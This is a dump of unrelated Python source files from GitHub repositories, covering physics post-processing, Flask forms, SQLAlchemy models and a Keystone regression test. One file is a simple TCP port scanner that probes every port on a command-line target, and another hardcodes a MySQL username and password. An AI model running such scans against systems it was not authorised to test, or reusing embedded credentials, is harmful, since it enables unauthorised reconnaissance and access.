{"seq_id":"70025779984","text":"from .hkReferencedObject import hkReferencedObject\nfrom enum import Enum\nfrom .hkaSkeletonMapperData import hkaSkeletonMapperData\n\n\nclass ConstraintSource(Enum):\n    NO_CONSTRAINTS = 0\n    REFERENCE_POSE = 1\n    CURRENT_POSE = 2\n\n\nclass hkaSkeletonMapper(hkReferencedObject):\n    mapping: hkaSkeletonMapperData\n\n    def __init__(self, infile):\n        self.mapping = hkaSkeletonMapperData(infile)  # TYPE_STRUCT:TYPE_VOID\n\n    def __repr__(self):\n        return \"<{class_name} mapping={mapping}>\".format(**{\n            \"class_name\": self.__class__.__name__,\n            \"mapping\": self.mapping,\n        })\n","repo_name":"zephenryus/havok-reflection","sub_path":"havok_classes/hkaSkeletonMapper.py","file_name":"hkaSkeletonMapper.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"24559666262","text":"import numpy as np\nimport h5py\nimport sys\nimport os\nimport scipy\nfrom scipy import integrate\nimport shutil\nimport itertools\nimport argparse\n\n\n## Camera geodesic evaluations\n\ndef GetCameraData(p):\n    \"\"\" Get data about geodesic positions and fates\n        in the plane of the camera \"\"\"\n    \n    file = p + '/RefinementMethodData.h5'\n    f = h5py.File(file, 'r')\n    data = f['LensingCore.dat']\n    \n    tags = data[:,0]\n    tags = tags.astype(int)\n    x_pos = data[:,1]\n    y_pos = data[:,2]\n    surface = data[:,4]\n    \n    return tags, x_pos, y_pos, surface\n\ndef GrabSurfaceIndices(surface, fate):\n    \n    i = np.where(surface == fate)[0]\n    return i\n\ndef SelectCameraGeodesics(p, fate):\n    \n    tags, x_pos, y_pos, surface = GetCameraData(p)\n    \n    i = np.where(surface == fate)[0]\n    \n    return tags[i], x_pos[i], y_pos[i], surface[i]\n    \ndef GetInfinityGeodesics(p):\n    \"\"\" \n    inf = np.where(surface == 1.)[0]\n    infty = np.where(surface == 7.)[0]\n    aha = np.where(surface == 2.)[0]\n    ahb = np.where(surface == 3.)[0]\n    ahc = np.where(surface == 4.)[0]\n    \"\"\"\n    file = p + '/RefinementMethodData.h5'\n    f = h5py.File(file, 'r')\n    data = f['LensingCore.dat']\n    surface = data[:,4]\n    return GrabSurfaceIndices(surface, 7)\n\ndef GetCameraPosition(p):\n    p = p.split('Trace')[1]\n    x = p.split('_')[1]\n    y = p.split('_')[2]\n    z = p.split('_')[3]\n    return '[' + x + ',' + y + ',' + z + ']'\n\ndef GetTime(p):\n    p = p.split('Trace')[1]\n    t = p.split('_')[4]\n    t = t.split('/')[0]\n    return t\n\n## Geodesic data processing\n\ndef ReadGeodesicData(p, t_start, t_end):\n    \"\"\" Read in an array of times and positions for all geodesics at once, \n        and return the trajectories indexed by geodesic \"\"\"\n        \n    def AppendGeodesicsTime(Lev):\n\n        print(\"\\n Reading Geodesic data for \" + Lev)\n\n        ## Use the first segement to grab the number of geodesics \n        file = p + '/' + Lev + '/Run_AA/Run/Node0.h5'\n        f = h5py.File(file, 'r')\n        ## grab the .dat files\n        keys = [k for k in f.keys() if 'dat' in k]\n        ## Array of times from the .dat files\n        times = [float(k.split('.dat')[0]) for k in keys]\n        ## sort keys according to times\n        times, keys = zip(*sorted(zip(times, keys)))\n        # grab the number of geodesics\n        N_geodesics = len(f[keys[-1]][:,0])\n        print(\"Total geodesics: \", N_geodesics, \"Time steps: \", len(times))\n        ## Minimum index\n        m = int(sorted(f[keys[-1]][:,0])[0])\n        print(\"Geodesic index offset of this refinement iteration: \", m)\n\n        ## Now make the arrays \n    \n        X = [ [] for _ in range(N_geodesics)]\n        Y = [ [] for _ in range(N_geodesics)]\n        Z = [ [] for _ in range(N_geodesics)]\n        L = [ [] for _ in range(N_geodesics)]\n        T = [ [] for _ in range(N_geodesics)]\n    \n        Segments = [el for el in os.listdir(p + '/' + lev) if \"Run\" in el][::-1]\n        print(lev + \" Segments:\", Segments)\n\n        for segment in Segments:\n                \n            print(\"\\n Working on segment \" + segment)\n\n            file = p + '/' + Lev + '/' + segment + '/Run/Node0.h5'\n            f = h5py.File(file, 'r')\n            ## grab the .dat files\n            keys = [k for k in f.keys() if 'dat' in k]\n            ## Array of times from the .dat files\n            times = [float(k.split('.dat')[0]) for k in keys]\n            ## sort keys according to times\n            times, keys = zip(*sorted(zip(times, keys)))\n\n            print(\"Going to go through the keys and the times\")\n            for k, t in zip(keys, times): \n                ## Check that time is within the bounds\n                if ((t > t_start) and (t < t_end)):\n                    ## Check that time is printed at the correct interval\n                    if ((t % 0.1 == 0.0) or (abs(t % 0.1 - 0.09999999999999) < 1e-9)):\n                        print(\"%.1f  \" % t, end = '', flush=True)\n                        data = f[k]\n                        ## indices and positions for all geodesics at this time\n                        indices = data[:,0]\n                        if (len(data[0]) == 7):\n                            \"\"\" If we've run the numerical evolution so that we haven't \n                                evolved lapse p0 -- just set lapsep0 to 1 in the files. \n                                This field need to be in the resulting .dat file for the \n                                paraview trajectory visualization\"\"\"\n                            x = data[:,4]\n                            y = data[:,5]\n                            z = data[:,6]\n                            l = np.ones(len(x))\n                        elif (len(data[0]) == 8):\n                            \"\"\" If we have evolved lapse p0\"\"\"\n                            l = data[:,1]\n                            x = data[:,5]\n                            y = data[:,6]\n                            z = data[:,7]\n                        else:\n                            print(\"Unrecognized number of variables\")\n                        ## fill in the array for each index\n                        for i, j in zip(indices.astype(int), range(len(indices))):\n                            X[i-m] = np.append(X[i-m], x[j])\n                            Y[i-m] = np.append(Y[i-m], y[j])\n                            Z[i-m] = np.append(Z[i-m], z[j])\n                            L[i-m] = np.append(L[i-m], l[j])\n                            T[i-m] = np.append(T[i-m], t)\n\n        print(\"\\n\")\n        ## Once we have the arrays constructed, append them to the file\n        print('Read the geodesic data, now writing the files')\n        \n        hf = h5py.File(p + '/Trajectories.h5', 'a')\n        print(p)\n        \n        for a in range(len(T)):\n            if (len(T[a]) > 1): \n                my_data = np.c_[T[a],X[a],Y[a],Z[a],L[a]]\n                ## Remember to add in the minimum index since the starting \n                ## geodesic index just gets incremented during reach refinement\n                ## level (by the number of geodesics that came from the levels before)\n                ## Hence a + m \n                hf.create_dataset('Geodesic' + str(a+m) + '.dat', data=my_data)\n                \n        hf.close()\n        \n        print('Finished writing the files')\n            \n    ## Go through the refinement levels and the segments\n    RefinementLevs = [el for el in os.listdir(p) if \"Lev\" in el]\n    print(\"RefinementLevs:\", RefinementLevs)\n    for lev in RefinementLevs:\n\n        AppendGeodesicsTime(lev)\n\ndef MakeGeodesicDatFiles(p, t_start, t_end):\n    \"\"\" Print the result of ReadGeodesicData to files \"\"\"\n    ReadGeodesicData(p, t_start, t_end)\n    \ndef GetGeodesicTrajectory(p, n):\n    \"\"\" Read in the post-processed trajectory for the nth geodesic \"\"\"\n    f = p + '/Trajectories.h5'\n    hf = h5py.File(f, 'r')\n    data = hf['Geodesic' + str(n) + '.dat']\n    t = data[:,0]\n    x = data[:,1]\n    y = data[:,2]\n    z = data[:,3]\n    hf.close()\n    ## Make sure the times are sorted\n    t, x, y, z = zip(*sorted(zip(t, x, y, z)))\n    t = np.array(t)\n    x = np.array(x)\n    y = np.array(y)\n    z = np.array(z)\n    # Former method of reading in \n    #t, x, y, z, lapse = np.loadtxt(f, comments=\"#\",usecols=([0,1,2,3,4]),unpack=True)\n    return t, x, y, z\n\ndef WriteGeodesicTrajectoryDatFile(p, n):\n    \"\"\" Print the post-processed trajectory for the nth geodesic \n        to a .dat file \"\"\"\n    \n    t, x, y, z = GetGeodesicTrajectory(p, n)\n    ## Fake lapse array \n    lapse = np.ones(len(t))\n    ff = open(p + '/' + str(n) + '.dat', 'w')\n    np.savetxt(ff, np.c_[t,x,y,z,lapse])\n    ff.close()\n\ndef GetGeodesicIndices(p, infinity=False):\n    \"\"\" Return the indices of all of the geodesics we have printed to file \n        If infinity == True, only returnt the geodesics that make it out to infinity \"\"\"\n    f = p + '/Trajectories.h5'\n    hf = h5py.File(f, 'r')\n    Indices = [int(k.split('Geodesic')[1].split('.dat')[0]) for k in hf.keys()]\n    Indices = sorted(Indices)\n    if infinity:\n        indices_infinity = GetInfinityGeodesics(p)\n        Indices = list(set(indices_infinity) & set(Indices))\n    return Indices\n\n## Zero crossings computations\n\ndef ComputeZeroCrossings(p, n):\n    \"\"\" Compute the number of zero crossings in the y-z plane - \n        useful for head-on runs where the collision happens\n        along the x axis \"\"\"\n    t, x, y, z = GetGeodesicTrajectory(p, n)\n    theta = np.arctan2(z, y)\n    zero_crossings = len(np.where(np.diff(np.sign(theta)))[0])\n    return zero_crossings\n\ndef MakeZeroCrossingsFile(p):\n    \"\"\" Make a file with the format [geodesic index, number of zero crossings] so \n        that we only have to compute the number of zero crossings once \"\"\"\n    ns = GetGeodesicIndices(p)\n    crossings = [ComputeZeroCrossings(p, n) for n in ns]\n    np.savetxt(p + 'ZeroCrossings.dat', np.c_[ns, crossings], fmt = '%d %d')\n    \ndef GetGeodesicsZeroCrossings(p):\n    \"\"\" Return the zero crossings for each index \"\"\"\n    f = p + 'ZeroCrossings.dat'\n    ns, zero_crossings = np.loadtxt(f, comments=\"#\",usecols=([0,1]),unpack=True,dtype=int)\n    return ns, zero_crossings\n\ndef GetGeodesicsZeroCrossingsIndices(p, N, infinity=False):\n    \"\"\" Return the indices of the geodesics that make N zero-crossings \n        If infinity == True, return only the ones that make it to infinity\"\"\"\n    ns, zero_crossings = GetGeodesicsZeroCrossings(p)\n    indices = ns[np.where(zero_crossings == N)[0]]\n    if infinity:\n        indices_infinity = GetInfinityGeodesics(p)\n        indices = list(set(indices_infinity) & set(indices))\n    return indices\n\ndef GetGeodesicsZeroCrossingsIndicesGreater(p, N, infinity=False):\n    \"\"\" Return the indices of the geodesics that make N or more zero-crossings \n        If infinity == True, return only the ones that make it to infinity\"\"\"\n    ns, zero_crossings = GetGeodesicsZeroCrossings(p)\n    indices = ns[np.where((zero_crossings >= N))[0]]\n    if infinity:\n        indices_infinity = GetInfinityGeodesics(p)\n        indices = list(set(indices_infinity) & set(indices))\n    return indices\n\ndef GetGeodesicsMaxZeroCrossings(p, infinity=False):\n    \"\"\" Return the maximum number N of zero crossings for a given run, \n        along with the indices of the geodesics that make N zero-crossings \n        If infinity == Ture, only return the ones that make it to infinity\"\"\"\n    ns, zero_crossings = GetGeodesicsZeroCrossings(p)\n    max_N = max(zero_crossings)\n    indices = GetGeodesicsZeroCrossingsIndices(p, max_N, infinity=infinity)\n    return max_N, indices\n\n\n## X Turns computations \n\ndef ComputeXTurns(p, n):\n    \"\"\" Compute tbe number of turns a geodesic makes along the x direction\n        Useful for head-on runs where the collision happens along the x axis\"\"\"\n    print(n, end=' ')\n    t, x, y, z = GetGeodesicTrajectory(p, n)\n    x_diff = x[1:] - x[:-1]\n    turns = len(list(itertools.groupby(x_diff, lambda x_diff: x_diff > 0)))\n    ## Set to zero turns if the trajectory does not change in x - these end up being\n    ## artifical turns hovering around zero (and unresolved)\n    if np.max(np.abs(x)) < 1e-3:\n        turns = 0\n    return turns \n\ndef MakeXTurnsFile(p):\n    \"\"\" Make a file with the format [geodesic index, number of X turns] so \n        that we only have to compute the number of X turns once \"\"\"\n    ns = GetGeodesicIndices(p)\n    print('TOTAL NUMBER: ', str(len(ns)))\n    turns = [ComputeXTurns(p, n) for n in ns]\n    np.savetxt(p + '/XTurns.dat', np.c_[ns, turns], fmt = '%d %d')\n    print('Wrote the file') \n    \ndef GetGeodesicsXTurns(p):\n    \"\"\" Return the x turns for each index \"\"\"\n    f = p + 'XTurns.dat'\n    ns, turns = np.loadtxt(f, comments=\"#\",usecols=([0,1]),unpack=True,dtype=int)\n    return ns, turns\n\ndef GetGeodesicsXTurnsIndices(p, N, infinity=False):\n    \"\"\" Return the indices of the geodesics that make N x turns \n        If infinity == True, return only the ones that make it to infinity\"\"\"\n    ns, turns = GetGeodesicsXTurns(p)\n    indices = ns[np.where(turns == N)[0]]\n    if infinity:\n        indices_infinity = GetInfinityGeodesics(p)\n        indices = list(set(indices_infinity) & set(indices))\n    return indices\n\ndef GetGeodesicsXTurnsIndicesGreater(p, N, infinity=False, N_less = 1e6):\n    \"\"\" Return the indices of the geodesics that make N or more x turns \n        If infinity == True, return only the ones that make it to infinity\"\"\"\n    ns, turns = GetGeodesicsXTurns(p)\n    indices = ns[np.where(turns >= N)[0]]\n    indices_less = ns[np.where(turns <= N_less)[0]]\n    indices = list(set(indices) & set(indices_less))\n    if infinity:\n        indices_infinity = GetInfinityGeodesics(p)\n        indices = list(set(indices_infinity) & set(indices))\n    return indices\n    \ndef GetGeodesicsMaxXTurns(p, infinity=False):\n    \"\"\" Return the maximum number N of zero crossings for a given run, \n        along with the indices of the geodesics that make N zero-crossings \n        If infinity == Ture, only return the ones that make it to infinity\"\"\"\n    f = p + 'ZeroCrossings.dat'\n    ns, turns = GetGeodesicsXTurns(p)\n    max_N = max(turns)\n    indices = GetGeodesicsXTurnsIndices(p, max_N, infinity=infinity)\n    return max_N, indices\n\n## Frenet-Serret computations\n\ndef ComputeArcLength(t, x, y, z):\n    \"\"\" For a given trajectory {x(t), y(t), z(t)}, compute and return\n        the arclength s(t) as a function of time\"\"\"\n    dx = np.gradient(x, t)\n    dy = np.gradient(y, t)\n    dz = np.gradient(z, t)\n\n    ## Compute the magnitude\n    mag = np.sqrt(dx**2 + dy**2 + dz**2)\n    \n    ## Take a running integral \n    s = integrate.cumtrapz(mag, t, initial = 0.0)\n    \n    ## check that s(t) is monotonically increasing\n    check = np.where((s[1:] - s[:-1]) <= 0.0)[0]\n    if len(check) > 0:\n        print(\"s(t) is non-monotonically increasing!\")\n \n    return s\n\ndef ComputeFrenetSerretTNB(t, x, y, z):\n    s = ComputeArcLength(t, x, y, z)\n    \n    T_x = np.gradient(x, s)\n    T_y = np.gradient(y, s)\n    T_z = np.gradient(z, s)\n\n    T_mag = np.sqrt(T_x**2 + T_y**2 + T_z**2)\n\n    T_x = T_x / T_mag\n    T_y = T_y / T_mag\n    T_z = T_z / T_mag\n\n    dTds_x = np.gradient(T_x, s)\n    dTds_y = np.gradient(T_y, s)\n    dTds_z = np.gradient(T_z, s)\n    \n    dTds_mag = np.sqrt(dTds_x**2 + dTds_y**2 + dTds_z**2)\n    \n    N_x = dTds_x / dTds_mag\n    N_y = dTds_y / dTds_mag\n    N_z = dTds_z / dTds_mag\n    \n    B_x = T_y * N_z - T_z * N_y\n    B_y = - T_x * N_z + T_z * N_x\n    B_z = T_x * N_y - T_y * N_x\n    \n    kappa = dTds_mag ## curvature\n\n    return T_x, T_y, T_z, N_x, N_y, N_z, B_x, B_y, B_z, kappa\n\ndef MakeFrenetSerretDatFiles(p):\n    \"\"\" For all geodesics .dat files in a given directory, dump the Frenet-Serret Frame \n        data (so we only have to compute it once)\"\"\"\n    ns = GetGeodesicIndices(p)\n    for n in ns: \n        t, x, y, z = GetGeodesicTrajectory(p, n)\n        t, x, y, z = zip(*sorted(zip(t, x, y, z)))\n        T_x, T_y, T_z, N_x, N_y, N_z, B_x, B_y, B_z, kappa = ComputeFrenetSerretTNB(t, x, y, z)\n        np.savetxt(p + '/FrenetSerret/' + str(n) + '.dat', np.c_[t, kappa, T_x, T_y, T_z, \\\n                                                                        N_x, N_y, N_z, \\\n                                                                        B_x, B_y, B_z])\n        \ndef GetFrenetSerretVectors(p, n):\n    \"\"\" Read in the post-processed trajectory for the nth geodesic \"\"\"\n    f = p + '/FrenetSerret/' + str(n) + '.dat'\n    t, kappa, T_x, T_y, T_z, N_x, N_y, N_z, B_x, B_y, B_z \\\n        = np.loadtxt(f, comments=\"#\",usecols=(range(11)),unpack=True)\n    return t, kappa, T_x, T_y, T_z, N_x, N_y, N_z, B_x, B_y, B_z\n  \ndef GetFrenetSerretCurvature(p, n):\n    \"\"\" Read in the post-processed curvature for the nth geodesic \"\"\"\n    f = p + '/FrenetSerret/' + str(n) + '.dat'\n    t, kappa = np.loadtxt(f, comments=\"#\",usecols=([0,1]),unpack=True)\n    return t, kappa\n\ndef MakeMaxCurvatureFile(p):\n    \"\"\" Make file constraining the geodesic ID, the maximum value of the curvature, \n        and the x, y, z, coordinates of this point\"\"\"\n    ns = GetGeodesicIndices(p)\n    N = len(ns)\n    MaxKappa = np.zeros(N)\n    T = np.zeros(N)\n    X = np.zeros(N)\n    Y = np.zeros(N)\n    Z = np.zeros(N)\n    \n    for i in range(N):\n        n = ns[i]\n        t, x, y, z = GetGeodesicTrajectory(p, n)\n        time, kappa = GetFrenetSerretCurvature(p, n)\n        index = np.argmax(kappa)\n        MaxKappa[i] = kappa[index]\n        T[i] = t[index]\n        X[i] = x[index]\n        Y[i] = y[index]\n        Z[i] = z[index]\n    \n    np.savetxt(p + '/MaxCurvatures.dat', np.c_[ns, MaxKappa, T, X, Y, Z], fmt = '%d %f %f %f %f %f')\n\ndef main():\n\n    p = argparse.ArgumentParser(description=\"Post-process geodesics evolution data\")\n    p.add_argument(\"--dir\", required=True, \\\n           help=\"Root directory of geodesic evolution data to post-process\")\n    p.add_argument(\"--trajectories\", help='Post-process the trajectories', \\\n        dest='trajectories', action='store_true')\n    p.add_argument(\"--zerocrossings\", help='Post-process the zero-crossings', \\\n        dest='zerocrossings', action='store_true')\n    p.add_argument(\"--xturns\", help='Post-process the x-turns', \\\n        dest='xturns', action='store_true')\n    p.add_argument(\"--frenetserret\", help='Perform the Frenet-Serret analysis', \\\n        dest='frenetserret', action='store_true')\n    \n    p.set_defaults(trajectories=False)\n    p.set_defaults(zerocrossings=False)\n    p.set_defaults(xturns=False)\n    p.set_defaults(frenetserret=False)\n   \n    args = p.parse_args()\n\n    print(\"Processing geodesics for \" + args.dir)\n    \n    ## Make geodesic dat files\n    if (args.trajectories):\n        print(\"Making the geodesic trajectory file\")\n        try:\n            os.remove(args.dir + '/Trajectories.h5')\n            print(\"Removed previous Trajectories.h5 file\")\n        except:\n            print(\"Trajectories.h5 file did not previously exist\")\n        MakeGeodesicDatFiles(args.dir, 0, 10000)\n\n    ## Compute zero crossings\n    if (args.zerocrossings):\n        print(\"Computing zero crossings\")\n        MakeZeroCrossingsFile(args.dir)\n    \n    ## Compute x turns\n    if (args.xturns):\n        print(\"Computing x turns\")\n        MakeXTurnsFile(args.dir)\n\n    ## Compute Frenet-Serret\n    if (args.frenetserret):\n        print(\"Computing Frenet-Serret\")\n        try:\n            os.mkdir(p + '/FrenetSerret')\n        except:\n            print(\"FrenetSerret directory already exists\")\n        MakeFrenetSerretDatFiles(p)\n        print(\"Computing max curvatures\")\n        MakeMaxCurvatureFile(p)\n\nif __name__ == \"__main__\":\n    main()\n\n\n\n\n","repo_name":"mariaokounkova/TracingMerger","sub_path":"ProcessGeodesics.py","file_name":"ProcessGeodesics.py","file_ext":"py","file_size_in_byte":18540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"25782464803","text":"from scipy.signal import butter, lfilter\n\n\n\ndef butterworth(lowcut, highcut, fs, order=5):\n    \"\"\"\n    Function for applying butterworth filter to a signal.\n\n    Wiki: The Butterworth filter is a type of signal processing filter designed to have a frequency response\n            as flat as possible in the passband. It is also referred to as a maximally flat magnitude filter.\n\n    :param lowcut:\n    :param highcut:\n    :param fs:\n    :param order:\n    :return:\n    \"\"\"\n    nyq = 0.5 * fs\n    low = lowcut / nyq\n    high = highcut / nyq\n    b, a, c = butter(order, [low, high], btype='band')\n    return b, a\n","repo_name":"JTM28/HPCBot","sub_path":"src/engine/compute/dsp/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"41961292407","text":"import socket\nfrom sys import argv\n\n# Creditos:Alameda\n\"\"\"\nAdicionei o 'getservbyport' para informa qual eh versao da porta que esta aberta na maquina do alvo\n\"\"\"\n\n# uso try e except pra capturar o erro e informa ao usuario modo de uso do script\n# try e except eh usado para capturar e manipular excecoes\n# try age na parte \"normal\" do programa. Codigo except eh a resposta do programa a qual quer erro\n\ntry:\n\t# faco um range pra regar portas do 1 ate 65535 \"Limite de porta eh ate 65535\"\n\tfor porta in range(1,65535):\n\t\t# Faco um socket de tcp\n\t\tc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\t\tc.settimeout(0.1) #  Uso settimeout para nao fica esperando muito tempo se porta nao da resultado de = 0\n\t\tif c.connect_ex((argv[1],porta)) == 0: # Verifico se a conexao do alvo e porta da igual 0, se for igual 0 eh por que esta aberta \n\t\t\tprint(f\"PORTA: {porta} {socket.getservbyport(porta)} ABERTA [+]\") # Imprimo na tela\nexcept Exception as Error: # Uso except pra mostra na tela o erro e mensagem do uso do script pro usuario\n\tprint(\"Scanner De Portas\\nModo de uso python3 script www.url.com\\nSaida do erro >> \",Error,\" <<\")\n","repo_name":"Alamedaa/port-scanner","sub_path":"scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"35426927240","text":"from workflow.customworkflow import customworkflow \nimport pygraphviz\n\ndef plotPNG():\n\tgraph = pygraphviz.AGraph( directed = True, strict = False )\n\tfor state in customworkflow.ALL_STATES:\n\t\tgraph.add_node( state.name, shape = state.plotShape )\n\tfor state in customworkflow.ALL_STATES:\n\t\tfor transition in state.transitions():\n\t\t\tgraph.add_edge( state.name, transition.targetState, label = transition.name )\n\t\tfor spawnChild in state.spawnChilds:\n\t\t\tgraph.add_edge( state.name, spawnChild.childState, label = spawnChild.name, style = 'dotted' )\n\tgraph.layout( 'dot' )\n\treturn graph.draw( path = None, format = \"png\" )\n\nif __name__ == \"__main__\":\n\topen( \"/tmp/test.png\", \"wb\" ).write( plotPNG() )\n","repo_name":"shlomimatichin/workflow","sub_path":"workflow/customworkflow/plotstatemachine.py","file_name":"plotstatemachine.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18691280476","text":"#!/usr/bin/python\n\n# Test some issues report in #254\n\n# Github issue: #254\n# Author: j123123\n\nfrom keystone import *\n\nimport regress\n\nclass TestX86(regress.RegressTest):\n    def runTest(self):\n        # Initialize Keystone engine\n        ks = Ks(KS_ARCH_X86, KS_MODE_64)\n\n        encoding, _ = ks.asm(b\"mov [rax+rsp], rsi\")\n        self.assertEqual(encoding, [ 0x48, 0x89, 0x34, 0x04 ])\n\n        encoding, _ = ks.asm(b\"mov [rsp+rax], rsi\")\n        self.assertEqual(encoding, [ 0x48, 0x89, 0x34, 0x04 ])\n\nif __name__ == '__main__':\n    regress.main()\n","repo_name":"keystone-engine/keystone","sub_path":"suite/regress/x64_RSP_index_reg.py","file_name":"x64_RSP_index_reg.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":2085,"dataset":"github-code","pt":"47"}
{"seq_id":"37424733754","text":"from utils.db import db\nimport datetime as dt\n\n\nclass Project(db.Model):\n    codigo = db.Column(db.Integer, primary_key=True)\n    id_cliente = db.Column(db.Integer)\n    id_producto = db.Column(db.Integer)\n    version = db.Column(db.String(10))\n    customizacion = db.Column(db.String(60))\n    nombre = db.Column(db.String(60))\n    fecha_inicio = db.Column(db.DateTime())\n    fecha_fin_estimada = db.Column(db.DateTime(), default=None)\n    estado = db.Column(db.Integer)\n    horas_consumidas = db.Column(db.Integer, default=0)\n    costo_estimado = db.Column(db.Integer)\n    ultima_tarea = db.Column(db.Integer, default=0)\n\n    def __init__(self, data):\n        self.id_cliente = data[\"id_cliente\"]\n        self.id_producto = data[\"id_producto\"]\n        self.version = data[\"version\"]\n        self.customizacion = data[\"customizacion\"]\n        self.nombre = data[\"nombre\"]\n        self.estado = data[\"estado\"]\n        self.costo_estimado = data[\"costo_estimado\"]\n        if \"fecha_fin_estimada\" in list(data.keys()) and data[\"fecha_fin_estimada\"]:\n            self.fecha_fin_estimada = dt.datetime.strptime(\n                data[\"fecha_fin_estimada\"], \"%Y-%m-%dT%H:%M:%S.%fZ\"\n            )\n        self.fecha_inicio = dt.datetime.strptime(\n            data[\"fecha_inicio\"], \"%Y-%m-%dT%H:%M:%S.%fZ\"\n        )\n\n    def update_data(self, data):\n        # self.id_cliente = data[\"id_cliente\"]\n        # self.id_producto = data[\"id_producto\"]\n        # self.version = data[\"version\"]\n        # self.customizacion = data[\"customizacion\"]\n        self.nombre = data[\"nombre\"]\n        self.estado = data[\"estado\"]\n        self.horas_consumidas = data[\"horas_consumidas\"]\n        self.costo_estimado = data[\"costo_estimado\"]\n        self.fecha_inicio = data[\"fecha_inicio\"]\n        if \"fecha_fin_estimada\" in list(data.keys()) and data[\"fecha_fin_estimada\"]:\n            self.fecha_fin_estimada = dt.datetime.strptime(\n                data[\"fecha_fin_estimada\"], \"%Y-%m-%dT%H:%M:%S.%fZ\"\n            )\n\n    def to_dict(self):\n        return {\n            \"codigo\": self.codigo,\n            \"id_cliente\": self.id_cliente,\n            \"id_producto\": self.id_producto,\n            \"version\": self.version,\n            \"customizacion\": self.customizacion,\n            \"nombre\": self.nombre,\n            \"fecha_inicio\": self.fecha_inicio.strftime(\"%Y-%m-%dT%H:%M:%S.%fZ\"),\n            \"fecha_fin_estimada\": self.fecha_fin_estimada.strftime(\n                \"%Y-%m-%dT%H:%M:%S.%fZ\"\n            )\n            if self.fecha_fin_estimada\n            else None,\n            \"estado\": self.estado,\n            \"horas_consumidas\": self.horas_consumidas,\n            \"costo_estimado\": self.costo_estimado,\n            \"ultima_tarea\": self.ultima_tarea,\n        }\n","repo_name":"imontecalvo/tribu-c-proyectos-backend","sub_path":"models/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"32349217481","text":"from flask_wtf import Form #, RecaptchaField\r\nfrom wtforms import StringField, PasswordField, SubmitField, SelectField, TextAreaField, RadioField, IntegerField\r\nfrom application.treasure_mod.models import Treasure\r\nfrom application.clue_mod.models import Clue\r\nfrom wtforms.validators import DataRequired\r\n\r\n\r\nclass ClueForm(Form):\r\n    \"\"\"\r\n    clue add and edit form\r\n    \"\"\"\r\n    treasure_id = SelectField(\r\n        'Treasure',\r\n        choices=Treasure.get_clue_treasures(),\r\n        validators = [DataRequired()]\r\n    )\r\n    description = TextAreaField(\r\n        'Description',\r\n        validators = [DataRequired()]\r\n    )\r\n    startpoint = RadioField(\r\n        'Startpoint',\r\n         choices=[('True', 'Yes'), ('False', 'No')]\r\n    )\r\n    endpoint = RadioField(\r\n        'Endpoint',\r\n        choices=[('True', 'Yes'), ('False', 'No')]\r\n    )\r\n    marker_pos = StringField(\r\n        'Clue Coordinates',\r\n        validators=[DataRequired()]\r\n    )\r\n    is_correct = RadioField(\r\n        'Is this path correct',\r\n         choices=[('True', 'Yes'), ('False', 'No')]\r\n    )\r\n    is_bonus = RadioField(\r\n        'Bonus path',\r\n         choices=[('True', 'Yes'), ('False', 'No')]\r\n    )\r\n    slug = StringField(\r\n        'Clue slugs',\r\n        validators=[DataRequired()]\r\n    )\r\n    submit = SubmitField('Submit')\r\n\r\n\r\nclass ClueOptionForm(Form):\r\n    \"\"\"\r\n    clue options\r\n    \"\"\"\r\n    clue_id = SelectField(\r\n        'Clue',\r\n        choices=Clue.get_option_clues(),\r\n        validators = [DataRequired()] \r\n    )\r\n    name = StringField(\r\n        'Name',\r\n        validators = [DataRequired()]\r\n    )\r\n    slug = StringField(\r\n        'Slug',\r\n        validators = [DataRequired()]\r\n    )\r\n    coordinates = StringField(\r\n        'Map Coordinates',\r\n        validators = [DataRequired()]\r\n    )\r\n    points = IntegerField(\r\n        'Points',\r\n        validators = [DataRequired()]\r\n    )\r\n    is_correct = RadioField(\r\n        'Is this point correct',\r\n        choices = [(True, 'True'), (False, 'False')]\r\n    )\r\n\r\n    submit = SubmitField('Submit')\r\n","repo_name":"paulodera/prod-streetview","sub_path":"application/clue_mod/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11303047528","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\n# Define your MySQL connection string\n# Replace 'username', 'password', 'hostname', and 'database' with your actual values\ndb_uri = 'mysql+pymysql://aashish:Aashish%4099@localhost/endurunz'\n\n\n# Create a SQLAlchemy engine\nengine = create_engine(db_uri)\n\nSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)\n\nBase = declarative_base()\n\n# Dependency to get the database session\ndef get_db():\n    db = SessionLocal()\n    try:\n        yield db\n    finally:\n        db.close()","repo_name":"prabhuaashish/Vo2-Max","sub_path":"Vo2_backend/src/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22486442770","text":"'''\nAuthor: philosophylato\nDate: 2022-10-01 21:21:27\nLastEditors: philosophylato\nLastEditTime: 2022-10-01 21:24:35\nDescription: your project\nversion: 1.0\n\n'''\ndef removeElement(nums,val):\n    n=len(nums)\n    i=-1\n    j=0\n    while j<=n-1:\n        if nums[j] != val:\n            i+=1\n            nums[i]=nums[j]\n        j+=1\n    return i+1\n    \n\n","repo_name":"rosehe1029/leetcodewarmup","sub_path":"数组/移除元素.py","file_name":"移除元素.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
